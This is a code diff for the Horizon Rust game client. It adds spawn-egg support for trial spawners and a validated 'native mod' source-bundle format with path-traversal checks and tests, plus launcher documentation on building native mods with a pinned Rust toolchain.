|
||||
for s in slots.iter().flatten() {
|
||||
let max = items.get(&s.item).map_or(64, |i| i.max_stack).min(64);
|
||||
@@ -1029,22 +1029,6 @@ impl Game<'_> {
|
||||
}
|
||||
best
|
||||
}
|
||||
/// Each cart's kind and comparator signal, for the detector rail
|
||||
/// (`DetectorRailBlock.getAnalogOutputSignal`). A cart whose menu is open
|
||||
/// counts the items in that menu.
|
||||
pub(super) fn cart_signals(&self) -> Vec<(CartKind, i32)> {
|
||||
self.carts
|
||||
.iter()
|
||||
.map(|c| {
|
||||
let key = (i32::MAX - 15, CART_KEY_Y, c.id as i32);
|
||||
let slots = match self.world.block_entities.get(&key) {
|
||||
Some(BlockEntity::Chest(open)) => open,
|
||||
_ => &c.items,
|
||||
};
|
||||
(c.kind, Minecart::container_signal(slots, self.res.items()))
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
/// `interact`: ride, open, fuel or ignite the cart under the crosshair.
|
||||
pub(super) fn interact_cart(&mut self) -> bool {
|
||||
let Some((i, d)) = self.cart_hit() else {
|
||||
|
||||
@@ -700,7 +700,6 @@ impl Game<'_> {
|
||||
return;
|
||||
}
|
||||
let text = content.plain();
|
||||
log::info!("[chat] {text}");
|
||||
// addServerSystemMessage and addClientSystemMessage both carry
|
||||
// GuiMessageTag.systemSinglePlayer: the grey bar at the line's left.
|
||||
let indicator = (source != horizon_client::chat::ChatSource::Player)
|
||||
@@ -3631,6 +3630,7 @@ impl Game<'_> {
|
||||
self.sleep_timer = super::tick_sleep_timer(self.sleep_timer, self.sleeping.is_some());
|
||||
// Gui.tick: the titles, the action bar and the held item's name.
|
||||
self.tick_hud();
|
||||
self.tick_subtitles();
|
||||
let entity_collisions = self.player_entity_collisions();
|
||||
let pushed = self.remote_pushes();
|
||||
let Some(player) = self.player.as_mut() else {
|
||||
|
||||
@@ -10,6 +10,7 @@ use horizon_client::{
|
||||
Mob, Who,
|
||||
spawner::{Spawner, SpawnerAdded, SpawnerEvent, SpawnerSpawn},
|
||||
spawning,
|
||||
trial_spawner::TrialState,
|
||||
},
|
||||
particles::{ParticleOptions, ParticleType},
|
||||
};
|
||||
@@ -373,12 +374,11 @@ impl Game<'_> {
|
||||
/// clicked block has no spawner.
|
||||
pub(super) fn use_spawn_egg_on_spawner(&mut self, pos: [i32; 3], kind: &str) -> Option<bool> {
|
||||
let key = (pos[0], pos[1], pos[2]);
|
||||
if !matches!(
|
||||
self.world.block_entities.get(&key),
|
||||
Some(BlockEntity::Spawner(_))
|
||||
) {
|
||||
return None;
|
||||
}
|
||||
let trial = match self.world.block_entities.get(&key) {
|
||||
Some(BlockEntity::Spawner(_)) => false,
|
||||
Some(BlockEntity::TrialSpawner(_)) => true,
|
||||
_ => return None,
|
||||
};
|
||||
if !self.ui.rules.bool("spawner_blocks_work") {
|
||||
self.system_message(horizon_client::text::Text::translate(
|
||||
"advMode.notEnabled.spawner",
|
||||
@@ -386,16 +386,26 @@ impl Game<'_> {
|
||||
));
|
||||
return Some(false);
|
||||
}
|
||||
let mut events = Vec::new();
|
||||
let mut random = std::mem::replace(
|
||||
&mut self.world.random,
|
||||
horizon_core::random::LegacyRandom::new(0),
|
||||
);
|
||||
if let Some(BlockEntity::Spawner(s)) = self.world.block_entities.get_mut(&key) {
|
||||
s.set_entity_id(kind, &mut random, &mut events);
|
||||
if trial {
|
||||
// TrialSpawnerBlockEntity.setEntityId: overrideEntityToSpawn, which
|
||||
// ends in setState(INACTIVE).
|
||||
if let Some(BlockEntity::TrialSpawner(t)) = self.world.block_entities.get_mut(&key) {
|
||||
t.override_entity(kind);
|
||||
}
|
||||
let ominous = self.trial_spawner_block(key).is_some_and(|(_, o)| o);
|
||||
let _ = self.set_trial_spawner_state(key, TrialState::Inactive, ominous);
|
||||
} else {
|
||||
let mut events = Vec::new();
|
||||
let mut random = std::mem::replace(
|
||||
&mut self.world.random,
|
||||
horizon_core::random::LegacyRandom::new(0),
|
||||
);
|
||||
if let Some(BlockEntity::Spawner(s)) = self.world.block_entities.get_mut(&key) {
|
||||
s.set_entity_id(kind, &mut random, &mut events);
|
||||
}
|
||||
self.world.random = random;
|
||||
let _ = self.apply_spawner_events(key, events, &HashMap::new());
|
||||
}
|
||||
self.world.random = random;
|
||||
let _ = self.apply_spawner_events(key, events, &HashMap::new());
|
||||
// sendBlockUpdated(3) and the player's block_change game event.
|
||||
self.spawner_block_updated(key);
|
||||
self.post_block_game_event("minecraft:block_change", pos, Some(Who::Player), None);
|
||||
|
||||
@@ -7,6 +7,7 @@ use super::{Game, GameLevel, Screen, dispenser::new_item_motion, storage::is_shu
|
||||
use horizon_client::{
|
||||
block_entity_item, block_entity_nbt,
|
||||
containers::{Banner, BlockEntity},
|
||||
furnace::FurnaceCooking,
|
||||
item_data,
|
||||
items::ItemStack,
|
||||
save,
|
||||
|
||||
@@ -272,7 +272,7 @@ impl Game<'_> {
|
||||
Ok(())
|
||||
}
|
||||
/// `setState` (and `removeOminous`): the block's state and ominous flag.
|
||||
fn set_trial_spawner_state(
|
||||
pub(super) fn set_trial_spawner_state(
|
||||
&mut self,
|
||||
key: Pos,
|
||||
state: TrialState,
|
||||
|
||||
@@ -69,6 +69,7 @@ pub mod flatgen;
|
||||
pub mod fog;
|
||||
pub mod font;
|
||||
pub mod friends_screen;
|
||||
pub mod furnace;
|
||||
pub mod game_mode_switcher;
|
||||
pub mod game_rules_screen;
|
||||
pub mod gfx;
|
||||
|
||||
@@ -23,61 +23,7 @@ use horizon_core::{
|
||||
use serde_json::Value;
|
||||
use std::{collections::HashMap, fs, path::Path};
|
||||
|
||||
/// A `natural_mob_spawns` / `spawn_overrides` entry list.
|
||||
pub fn parse_entries(list: &Value) -> Vec<SpawnEntry> {
|
||||
list.as_array()
|
||||
.into_iter()
|
||||
.flatten()
|
||||
.filter_map(|e| {
|
||||
let count = &e["count"];
|
||||
let (min, max, constant) = match count {
|
||||
Value::Number(n) => {
|
||||
let n = n.as_u64().unwrap_or(1) as u32;
|
||||
(n, n, true)
|
||||
}
|
||||
c if c["type"].as_str() == Some("minecraft:constant") => {
|
||||
let n = c["value"].as_u64().unwrap_or(1) as u32;
|
||||
(n, n, true)
|
||||
}
|
||||
c => (
|
||||
c["min_inclusive"].as_u64().unwrap_or(1) as u32,
|
||||
c["max_inclusive"].as_u64().unwrap_or(1) as u32,
|
||||
false,
|
||||
),
|
||||
};
|
||||
Some(SpawnEntry {
|
||||
entity: e["type"].as_str()?.to_owned(),
|
||||
weight: e["weight"].as_u64().unwrap_or(1) as u32,
|
||||
min,
|
||||
max,
|
||||
constant,
|
||||
})
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
/// `MobSpawnSettings.MobSpawnCost`.
|
||||
#[derive(Clone, Copy, Debug, PartialEq)]
|
||||
pub struct SpawnCost {
|
||||
pub energy_budget: f64,
|
||||
pub charge: f64,
|
||||
}
|
||||
/// The `spawn_costs` of a `natural_mob_spawns` value.
|
||||
pub fn parse_costs(costs: &Value) -> HashMap<String, SpawnCost> {
|
||||
costs
|
||||
.as_object()
|
||||
.into_iter()
|
||||
.flatten()
|
||||
.map(|(k, c)| {
|
||||
(
|
||||
k.clone(),
|
||||
SpawnCost {
|
||||
energy_budget: c["energy_budget"].as_f64().unwrap_or(0.0),
|
||||
charge: c["charge"].as_f64().unwrap_or(0.0),
|
||||
},
|
||||
)
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
pub use crate::biome::{SpawnCost, parse_costs, parse_entries};
|
||||
|
||||
/// `MobCategory`.
|
||||
#[derive(Clone, Copy, Debug, PartialEq, Eq, Hash)]
|
||||
|
||||
@@ -106,6 +106,67 @@ impl TrialConfig {
|
||||
.unwrap_or(d.items_to_drop_when_ominous),
|
||||
})
|
||||
}
|
||||
/// `TrialSpawnerConfig.DIRECT_CODEC`'s encoding: the fields that differ
|
||||
/// from their defaults (`optionalFieldOf` with a default).
|
||||
pub fn encode(&self) -> Tag {
|
||||
let d = Self::default();
|
||||
let mut out = Vec::new();
|
||||
if self.spawn_range != d.spawn_range {
|
||||
out.push(("spawn_range", Tag::Int(self.spawn_range)));
|
||||
}
|
||||
for (key, value, default) in [
|
||||
("total_mobs", self.total_mobs, d.total_mobs),
|
||||
(
|
||||
"simultaneous_mobs",
|
||||
self.simultaneous_mobs,
|
||||
d.simultaneous_mobs,
|
||||
),
|
||||
(
|
||||
"total_mobs_added_per_player",
|
||||
self.total_mobs_added_per_player,
|
||||
d.total_mobs_added_per_player,
|
||||
),
|
||||
(
|
||||
"simultaneous_mobs_added_per_player",
|
||||
self.simultaneous_mobs_added_per_player,
|
||||
d.simultaneous_mobs_added_per_player,
|
||||
),
|
||||
] {
|
||||
if value != default {
|
||||
out.push((key, Tag::Float(value.to_bits())));
|
||||
}
|
||||
}
|
||||
if self.ticks_between_spawn != d.ticks_between_spawn {
|
||||
out.push(("ticks_between_spawn", Tag::Int(self.ticks_between_spawn)));
|
||||
}
|
||||
let weighted = |data: Tag, weight: i32| {
|
||||
Tag::compound(vec![("data", data), ("weight", Tag::Int(weight))])
|
||||
};
|
||||
if !self.spawn_potentials.is_empty() {
|
||||
let list = self.spawn_potentials.iter();
|
||||
out.push((
|
||||
"spawn_potentials",
|
||||
Tag::List(list.map(|(data, w)| weighted(data.encode(), *w)).collect()),
|
||||
));
|
||||
}
|
||||
if self.loot_tables_to_eject != d.loot_tables_to_eject {
|
||||
let list = self.loot_tables_to_eject.iter();
|
||||
out.push((
|
||||
"loot_tables_to_eject",
|
||||
Tag::List(
|
||||
list.map(|(id, w)| weighted(Tag::String(id.as_str().into()), *w))
|
||||
.collect(),
|
||||
),
|
||||
));
|
||||
}
|
||||
if self.items_to_drop_when_ominous != d.items_to_drop_when_ominous {
|
||||
out.push((
|
||||
"items_to_drop_when_ominous",
|
||||
Tag::String(self.items_to_drop_when_ominous.as_str().into()),
|
||||
));
|
||||
}
|
||||
Tag::compound(out)
|
||||
}
|
||||
/// `calculateTargetTotalMobs`.
|
||||
pub fn target_total_mobs(&self, additional_players: i32) -> i32 {
|
||||
(self.total_mobs + self.total_mobs_added_per_player * additional_players as f32).floor()
|
||||
@@ -487,6 +548,18 @@ impl TrialSpawner {
|
||||
self.next_spawn_data = None;
|
||||
self.reset_statistics();
|
||||
}
|
||||
/// `overrideEntityToSpawn` (a spawn egg's `setEntityId`): the data resets
|
||||
/// and both configs spawn only `id` (`withSpawning`), saved inline as
|
||||
/// `Holder.direct`. The caller then sets the state to `inactive`.
|
||||
pub fn override_entity(&mut self, id: &str) {
|
||||
self.reset();
|
||||
for slot in [&mut self.normal, &mut self.ominous] {
|
||||
let mut entity = Compound::new();
|
||||
entity.insert("id".into(), Tag::String(id.into()));
|
||||
slot.config.spawn_potentials = vec![(SpawnData::new(entity, None, None), 1)];
|
||||
slot.saved = Some(slot.config.encode());
|
||||
}
|
||||
}
|
||||
/// `getOrCreateNextSpawnData`: a potential at random, else empty data.
|
||||
fn next_or_create(
|
||||
&mut self,
|
||||
@@ -1030,6 +1103,37 @@ mod tests {
|
||||
assert!(s.save().is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_spawn_egg_overrides_both_configs_inline() {
|
||||
let breeze = TrialConfig {
|
||||
total_mobs: 2.0,
|
||||
..TrialConfig::default()
|
||||
};
|
||||
let registry = |_: &str| Some(breeze.clone());
|
||||
let mut s = TrialSpawner::load_with(
|
||||
&tag(
|
||||
r#"{normal_config:"minecraft:trial_chamber/breeze/normal",spawn_data:{entity:{}},total_mobs_spawned:3}"#,
|
||||
),
|
||||
®istry,
|
||||
);
|
||||
s.override_entity("minecraft:zombie");
|
||||
assert_eq!(s.next_spawn_data, None);
|
||||
assert_eq!(s.total_mobs_spawned, 0);
|
||||
for slot in [&s.normal, &s.ominous] {
|
||||
assert_eq!(slot.config.spawn_potentials.len(), 1);
|
||||
assert_eq!(
|
||||
slot.config.spawn_potentials[0].0.id().as_deref(),
|
||||
Some("minecraft:zombie")
|
||||
);
|
||||
let saved = slot.saved.as_ref().expect("saved inline");
|
||||
assert_eq!(TrialConfig::decode(saved).as_ref(), Some(&slot.config));
|
||||
}
|
||||
assert_eq!(
|
||||
s.normal.saved.as_ref().and_then(|t| t.get("total_mobs")),
|
||||
Some(&Tag::Float(2.0f32.to_bits()))
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn registry_configs_resolve_and_are_saved_by_id() {
|
||||
let breeze = TrialConfig {
|
||||
|
||||
@@ -43,6 +43,8 @@ pub struct Index {
|
||||
pub enum Kind {
|
||||
/// A `.hmod`.
|
||||
Mod,
|
||||
/// A source-only native mixin bundle, compiled into an isolated game build.
|
||||
NativeMod,
|
||||
/// A `.hpack`: registry mods played together as a profile.
|
||||
Modpack,
|
||||
/// A resource pack (`.zip` with `pack.mcmeta`) made or tested for Horizon.
|
||||
@@ -57,6 +59,7 @@ impl Kind {
|
||||
pub fn name(&self) -> &str {
|
||||
match self {
|
||||
Kind::Mod => "mod",
|
||||
Kind::NativeMod => "native-mod",
|
||||
Kind::Modpack => "modpack",
|
||||
Kind::ResourcePack => "resourcepack",
|
||||
Kind::Shader => "shader",
|
||||
@@ -68,6 +71,7 @@ impl Kind {
|
||||
pub fn extension(&self) -> Option<&'static str> {
|
||||
match self {
|
||||
Kind::Mod => Some("hmod"),
|
||||
Kind::NativeMod => Some("hnmod"),
|
||||
Kind::Modpack => Some("hpack"),
|
||||
Kind::ResourcePack => Some("zip"),
|
||||
Kind::Shader => Some(horizon_shader_api::EXTENSION),
|
||||
@@ -80,6 +84,7 @@ impl From<String> for Kind {
|
||||
fn from(name: String) -> Kind {
|
||||
match name.as_str() {
|
||||
"mod" => Kind::Mod,
|
||||
"native-mod" => Kind::NativeMod,
|
||||
"modpack" => Kind::Modpack,
|
||||
"resourcepack" => Kind::ResourcePack,
|
||||
"shader" => Kind::Shader,
|
||||
@@ -552,6 +557,7 @@ impl Facts {
|
||||
/// this build doesn't know are refused: their checks come with their formats.
|
||||
pub fn inspect(kind: &Kind, path: &Path) -> Result<Facts, String> {
|
||||
match kind {
|
||||
Kind::NativeMod => Ok(native::Bundle::read(path)?.manifest.facts()),
|
||||
Kind::Mod => {
|
||||
let Package { manifest: m, wasm } = Package::read(path)?;
|
||||
crate::Content::read(path, &m)?;
|
||||
@@ -656,7 +662,7 @@ fn check_resource_pack(path: &Path) -> Result<String, String> {
|
||||
/// formats.
|
||||
pub fn open(kind: &Kind) -> Result<(), String> {
|
||||
match kind {
|
||||
Kind::Mod | Kind::Modpack | Kind::ResourcePack | Kind::Shader => Ok(()),
|
||||
Kind::Mod | Kind::NativeMod | Kind::Modpack | Kind::ResourcePack | Kind::Shader => Ok(()),
|
||||
Kind::Other(name) => Err(format!("the registry doesn't take {name} yet")),
|
||||
}
|
||||
}
|
||||
@@ -666,6 +672,7 @@ fn names(caps: &[Capability]) -> String {
|
||||
format!("[{}]", names.join(", "))
|
||||
}
|
||||
|
||||
pub mod native;
|
||||
pub mod registry;
|
||||
#[cfg(test)]
|
||||
mod tests;
|
||||
@@ -0,0 +1,238 @@
|
||||
//! Source-only native mixin bundles. Reading a bundle never executes its code.
|
||||
use super::{Facts, valid_id};
|
||||
use serde::{Deserialize, Serialize};
|
||||
use std::{collections::BTreeMap, io::Read, path::Path};
|
||||
|
||||
pub const MANIFEST: &str = "horizon-native.json";
|
||||
|
||||
#[derive(Clone, Debug, PartialEq, Serialize, Deserialize)]
|
||||
#[serde(deny_unknown_fields)]
|
||||
pub struct Manifest {
|
||||
pub schema: u32,
|
||||
pub id: String,
|
||||
pub version: String,
|
||||
pub game: String,
|
||||
/// Exact source revisions tested together, never mutable tags.
|
||||
pub horizon: String,
|
||||
pub mixins: String,
|
||||
}
|
||||
|
||||
pub fn revision(value: &str) -> bool {
|
||||
value.len() == 40
|
||||
&& value
|
||||
.bytes()
|
||||
.all(|b| b.is_ascii_digit() || (b'a'..=b'f').contains(&b))
|
||||
}
|
||||
|
||||
impl Manifest {
|
||||
pub fn check(&self) -> Result<(), String> {
|
||||
if self.schema != 1
|
||||
|| !valid_id(&self.id)
|
||||
|| self.version.is_empty()
|
||||
|| self.game.is_empty()
|
||||
|| !revision(&self.horizon)
|
||||
|| !revision(&self.mixins)
|
||||
{
|
||||
return Err(
|
||||
"invalid native manifest: schema 1, id, version, game and exact revisions required"
|
||||
.into(),
|
||||
);
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Carries the exact native compatibility contract in the index's API field.
|
||||
pub fn api(&self) -> String {
|
||||
format!("native-1/{}/{}", self.horizon, self.mixins)
|
||||
}
|
||||
|
||||
pub fn facts(&self) -> Facts {
|
||||
Facts {
|
||||
id: Some(self.id.clone()),
|
||||
version: Some(self.version.clone()),
|
||||
api: self.api(),
|
||||
game: Some(self.game.clone()),
|
||||
..Facts::default()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub struct Bundle {
|
||||
pub manifest: Manifest,
|
||||
/// Validated relative paths; only TOML and Rust beneath `mixins/<id>/`.
|
||||
pub files: BTreeMap<String, Vec<u8>>,
|
||||
}
|
||||
|
||||
impl Bundle {
|
||||
pub fn read(path: &Path) -> Result<Self, String> {
|
||||
let file = std::fs::File::open(path).map_err(|e| e.to_string())?;
|
||||
let mut zip = zip::ZipArchive::new(file).map_err(|e| e.to_string())?;
|
||||
if zip.len() > 512 {
|
||||
return Err("native bundle has too many entries".into());
|
||||
}
|
||||
let mut files = BTreeMap::new();
|
||||
let mut total = 0u64;
|
||||
for i in 0..zip.len() {
|
||||
let mut entry = zip.by_index(i).map_err(|e| e.to_string())?;
|
||||
let name = entry.name().to_owned();
|
||||
if entry.is_dir() {
|
||||
continue;
|
||||
}
|
||||
if entry
|
||||
.unix_mode()
|
||||
.is_some_and(|m| m & 0o170000 != 0 && m & 0o170000 != 0o100000)
|
||||
|| name.contains('\\')
|
||||
|| name
|
||||
.split('/')
|
||||
.any(|p| p.is_empty() || p == "." || p == "..")
|
||||
|| name.starts_with('/')
|
||||
|| name.contains(':')
|
||||
{
|
||||
return Err(format!("invalid native bundle path: {name}"));
|
||||
}
|
||||
let mut bytes = Vec::new();
|
||||
(&mut entry)
|
||||
.take(super::MAX_FILE + 1)
|
||||
.read_to_end(&mut bytes)
|
||||
.map_err(|e| e.to_string())?;
|
||||
total += bytes.len() as u64;
|
||||
if total > super::MAX_FILE {
|
||||
return Err("native bundle expands beyond 64 MiB".into());
|
||||
}
|
||||
if files.insert(name, bytes).is_some() {
|
||||
return Err("duplicate native bundle path".into());
|
||||
}
|
||||
}
|
||||
let manifest: Manifest =
|
||||
serde_json::from_slice(files.get(MANIFEST).ok_or("missing horizon-native.json")?)
|
||||
.map_err(|e| e.to_string())?;
|
||||
manifest.check()?;
|
||||
let prefix = format!("mixins/{}/", manifest.id);
|
||||
for name in files.keys().filter(|n| n.as_str() != MANIFEST) {
|
||||
if !name.starts_with(&prefix) || !(name.ends_with(".rs") || name.ends_with(".toml")) {
|
||||
return Err(format!("unexpected native source: {name}"));
|
||||
}
|
||||
}
|
||||
let source = files
|
||||
.get(&format!("{prefix}horizon-mixin.toml"))
|
||||
.ok_or("missing horizon-mixin.toml")?;
|
||||
let source: toml::Value =
|
||||
toml::from_str(std::str::from_utf8(source).map_err(|e| e.to_string())?)
|
||||
.map_err(|e| e.to_string())?;
|
||||
if source
|
||||
.get("mod")
|
||||
.and_then(|v| v.get("id"))
|
||||
.and_then(|v| v.as_str())
|
||||
!= Some(&manifest.id)
|
||||
|| source
|
||||
.get("mod")
|
||||
.and_then(|v| v.get("version"))
|
||||
.and_then(|v| v.as_str())
|
||||
!= Some(&manifest.version)
|
||||
|| source
|
||||
.get("compatibility")
|
||||
.and_then(|v| v.get("horizon_revision"))
|
||||
.and_then(|v| v.as_str())
|
||||
!= Some(&manifest.horizon)
|
||||
{
|
||||
return Err("native manifest and mixin identity/revision differ".into());
|
||||
}
|
||||
Ok(Self { manifest, files })
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use std::io::Write;
|
||||
|
||||
fn manifest() -> Manifest {
|
||||
Manifest {
|
||||
schema: 1,
|
||||
id: "veinminer".into(),
|
||||
version: "0.3.0".into(),
|
||||
game: "26.3".into(),
|
||||
horizon: "a".repeat(40),
|
||||
mixins: "b".repeat(40),
|
||||
}
|
||||
}
|
||||
fn read(name: &str, extras: &[(&str, &[u8])], mixin: &str) -> Result<Bundle, String> {
|
||||
let path =
|
||||
std::env::temp_dir().join(format!("native-bundle-{name}-{}.hnmod", std::process::id()));
|
||||
let mut zip = zip::ZipWriter::new(std::fs::File::create(&path).unwrap());
|
||||
let options = zip::write::SimpleFileOptions::default();
|
||||
zip.start_file(MANIFEST, options).unwrap();
|
||||
zip.write_all(&serde_json::to_vec(&manifest()).unwrap())
|
||||
.unwrap();
|
||||
zip.start_file("mixins/veinminer/horizon-mixin.toml", options)
|
||||
.unwrap();
|
||||
zip.write_all(mixin.as_bytes()).unwrap();
|
||||
for (name, bytes) in extras {
|
||||
zip.start_file(*name, options).unwrap();
|
||||
zip.write_all(bytes).unwrap();
|
||||
}
|
||||
zip.finish().unwrap();
|
||||
let result = Bundle::read(&path);
|
||||
std::fs::remove_file(path).unwrap();
|
||||
result
|
||||
}
|
||||
fn mixin() -> String {
|
||||
format!(
|
||||
"[mod]\nid = \"veinminer\"\nversion = \"0.3.0\"\n[compatibility]\nhorizon_revision = \"{}\"\n",
|
||||
"a".repeat(40)
|
||||
)
|
||||
}
|
||||
#[test]
|
||||
fn source_bundle_carries_exact_compatibility_into_index_facts() {
|
||||
let bundle = read(
|
||||
"valid",
|
||||
&[("mixins/veinminer/hook.rs", b"fn hook() {}")],
|
||||
&mixin(),
|
||||
)
|
||||
.unwrap();
|
||||
assert_eq!(bundle.manifest, manifest());
|
||||
let facts = bundle.manifest.facts();
|
||||
assert_eq!(
|
||||
facts.api,
|
||||
format!("native-1/{}/{}", "a".repeat(40), "b".repeat(40))
|
||||
);
|
||||
assert_eq!(facts.id.as_deref(), Some("veinminer"));
|
||||
assert!(facts.capabilities.is_empty());
|
||||
}
|
||||
#[test]
|
||||
fn rejects_path_traversal_and_non_source_payloads() {
|
||||
for (i, name) in [
|
||||
"../escape.rs",
|
||||
"/absolute.rs",
|
||||
"mixins/other/hook.rs",
|
||||
"mixins/veinminer/code.dll",
|
||||
"mixins\\veinminer\\hook.rs",
|
||||
]
|
||||
.iter()
|
||||
.enumerate()
|
||||
{
|
||||
assert!(read(&format!("bad-path-{i}"), &[(name, b"bad")], &mixin()).is_err());
|
||||
}
|
||||
}
|
||||
#[test]
|
||||
fn rejects_missing_or_mismatched_mixin_identity_without_panicking() {
|
||||
assert!(read("missing-mod", &[], "[unrelated]\nvalue = 1").is_err());
|
||||
assert!(
|
||||
read(
|
||||
"wrong-revision",
|
||||
&[],
|
||||
&mixin().replace(&"a".repeat(40), &"c".repeat(40))
|
||||
)
|
||||
.is_err()
|
||||
);
|
||||
assert!(read("wrong-version", &[], &mixin().replace("0.3.0", "0.2.0")).is_err());
|
||||
assert!(
|
||||
Manifest {
|
||||
horizon: "nightly".into(),
|
||||
..manifest()
|
||||
}
|
||||
.check()
|
||||
.is_err()
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -71,6 +71,18 @@ Run a dedicated server here; type commands into its console.
|
||||
|
||||
MCP: `server`, `server_command`, `server_log`, `server_stop`.
|
||||
|
||||
## `horizon-launcher native-build`
|
||||
|
||||
Native mods (experimental, docs/native-mods.md): compile mixin bundles on the Horizon revision they pin, with the launcher's own Rust, as the version the "Native mods" instance plays. Not sandboxed: the mods' code runs with your rights.
|
||||
|
||||
horizon-launcher native-build [FOLDER]
|
||||
|
||||
- `FOLDER`: A mod folder (horizon-mixin.toml, or an unpacked .hnmod), or a folder of them (default: the native mods installed and turned on in the instance)
|
||||
- `--instance`: The instance whose installed native mods to build, and which then plays the build (default: the selected one; the game's own home builds into the Native mods instance)
|
||||
- `--trust-native-code`: You read the mods' source and trust it with full access to this computer
|
||||
|
||||
MCP: none: the player's switch.
|
||||
|
||||
## `horizon-launcher notes`
|
||||
|
||||
Show a release's patch notes (default: the newest).
|
||||
@@ -137,7 +149,7 @@ MCP: `account_offline`.
|
||||
|
||||
## `horizon-launcher account forget-offline`
|
||||
|
||||
Forget one of your offline names.
|
||||
Forget one of your offline names; its skin and cape go with it.
|
||||
|
||||
horizon-launcher account forget-offline <NAME>
|
||||
|
||||
@@ -763,6 +775,30 @@ Turn off a mod the browser installed; it stays installed.
|
||||
|
||||
MCP: `mods_disable`.
|
||||
|
||||
## `horizon-launcher rust status`
|
||||
|
||||
Whether it is installed, its version and whether this computer can link with it.
|
||||
|
||||
horizon-launcher rust status
|
||||
|
||||
MCP: `rust_status`.
|
||||
|
||||
## `horizon-launcher rust install`
|
||||
|
||||
Download the pinned toolchain from static.rust-lang.org (once), checked by SHA-256.
|
||||
|
||||
horizon-launcher rust install
|
||||
|
||||
MCP: `rust_install`.
|
||||
|
||||
## `horizon-launcher rust remove`
|
||||
|
||||
Delete the toolchain and the native builds' Cargo home.
|
||||
|
||||
horizon-launcher rust remove
|
||||
|
||||
MCP: `rust_remove`.
|
||||
|
||||
## `horizon-launcher servers list`
|
||||
|
||||
The servers, their folder and whether they run.
|
||||
|
||||
@@ -0,0 +1,98 @@
|
||||
# Native mods (experimental)
|
||||
|
||||
Native mods are **mixin bundles** that change the game's own Rust source before it is compiled, with
|
||||
[horizon-mixins](https://github.com/horizon-rust/horizon-mixins) (MIT, by levzzz5154, made for Horizon). A bundle
|
||||
is a `horizon-mixin.toml` and a few `.rs` helpers that hook into named functions of the game (HEAD, BEFORE_CALL,
|
||||
RETURN, MODIFY_ARG, OVERWRITE...; the tool's README lists them). A port such as Veinminer is three HEAD hooks and
|
||||
one module. Start a mod from [horizon-native-mod-template](https://github.com/horizon-rust/horizon-native-mod-template).
|
||||
|
||||
Native mods are native code with the player's rights, not sandboxed. The launcher offers them off by default, behind
|
||||
a warning, reviewed before the registry lists one, and in a game of their own, built for the instance they are installed in.
|
||||
|
||||
## Pinned to a Nightly
|
||||
|
||||
A native mod builds on one exact Horizon commit: `[compatibility] horizon_revision` in its `horizon-mixin.toml`,
|
||||
and `horizon` in the `horizon-native.json` of its registry file (`.hnmod`, `horizon_mods::index::native`). Mods
|
||||
pin a **Nightly's commit** (or a release's). Every Nightly ships its source and keeps its commit for good as the
|
||||
tag `nightly-source/<date>-<short>` ([release-flow.md](release-flow.md#nightly-channel)), so a pinned mod still
|
||||
builds after its Nightly is replaced. All the mods of one build must pin the same commit; when they don't, the
|
||||
launcher says which mod pins which, and the player installs versions made for the same Nightly. A bundle with no
|
||||
pin builds on the commit of the installed version the build starts from.
|
||||
|
||||
## What the launcher does
|
||||
|
||||
In the window: install a native mod from the Mods page, turn on Settings → Game → **Native mods (experimental)**,
|
||||
then **Build**. The launcher names the mods, warns in red, and builds only from "I trust these mods: build"; the
|
||||
row shows each step, the error if one fails, and the build the instance plays. From the command line:
|
||||
`horizon-launcher native-build [FOLDER] [--instance NAME] --trust-native-code`. FOLDER is a bundle, an unpacked
|
||||
`.hnmod`, or a folder of them; without it, the native mods turned on in the instance. It is not an MCP tool:
|
||||
trusting native code is the player's decision, never an agent's.
|
||||
|
||||
1. **Rust.** The launcher's own toolchain ([`rust_toolchain`](../launcher/src/rust_toolchain.rs)): Rust 1.99.1's
|
||||
official `rustc`, `cargo` and `rust-std` (and `rust-mingw` on Windows), each pinned by SHA-256, downloaded once
|
||||
from static.rust-lang.org into `<launcher data>/rust/`, with its own Cargo home `<launcher data>/cargo/`. No
|
||||
rustup, nothing on the system; the player's own Rust is never used. Windows uses the `windows-gnu` host, which
|
||||
links without Visual Studio. The linker is the system's on macOS (the Command Line Tools: the launcher asks for
|
||||
`xcode-select --install`) and Linux (`cc`). `horizon-launcher rust status|install|remove`.
|
||||
2. **horizon-mixins**, at the commit the mods name (their `.hnmod`'s `mixins`), else `native_mods::MIXINS_REV`,
|
||||
built once with that cargo (`cargo install --locked --git … --rev …`) into `native/tools/<commit>/`.
|
||||
3. **The source** of the pinned commit: GitHub's archive of it, once per commit (`native/source/<commit>/`, about
|
||||
63 MB unpacked), with the commit in `.horizon-revision`. Never the player's own checkout. Links in the
|
||||
archive are left out: the tool refuses them and nothing needs them to build.
|
||||
4. **Mixins.** The bundles are copied first, so the build and its key use that copy whatever happens to the
|
||||
folder meanwhile. `horizon-mixins apply` stages the modded source; the launcher copies only the files that
|
||||
changed into `native/stage/`, so Cargo, which goes by file times, recompiles only the crates the mods touch.
|
||||
5. **Compile**: `cargo build --locked --profile release --features horizon-client/mods -p horizon-client`, the
|
||||
release's own command (game-build.yml), into `native/target/`. Cargo downloads the locked crates from
|
||||
crates.io (Horizon has no git dependencies). The log is `native/build.log`; a failure shows its last lines (a
|
||||
horizon-mixins diagnostic in one line).
|
||||
6. **Install**: a new version, `native-<commit>-<key>`, a copy of the starting version's folder (resources
|
||||
included, cloned on APFS, Btrfs and ReFS) with the built game in place of its own, and a `native-mods.json`
|
||||
saying which commit, mods, horizon-mixins and Rust made it. The instance the mods are installed in plays it (a
|
||||
folder built from the command line, or mods of the default home, go to the **Native mods** instance).
|
||||
|
||||
## Cache and disk
|
||||
|
||||
The key hashes the commit, the horizon-mixins commit, Rust's version, the profile and features, and every file of
|
||||
every bundle. The same set on the same commit is never built twice. A change gives a new build, and
|
||||
`native/target/` stays, so a rebuild compiles only `horizon-client` and what the mods touched.
|
||||
|
||||
Measured 2026-10-28 on the Mac mini (M4 Pro, 14 cores) with Veinminer 0.3.0 on Nightly `83f15fa`,
|
||||
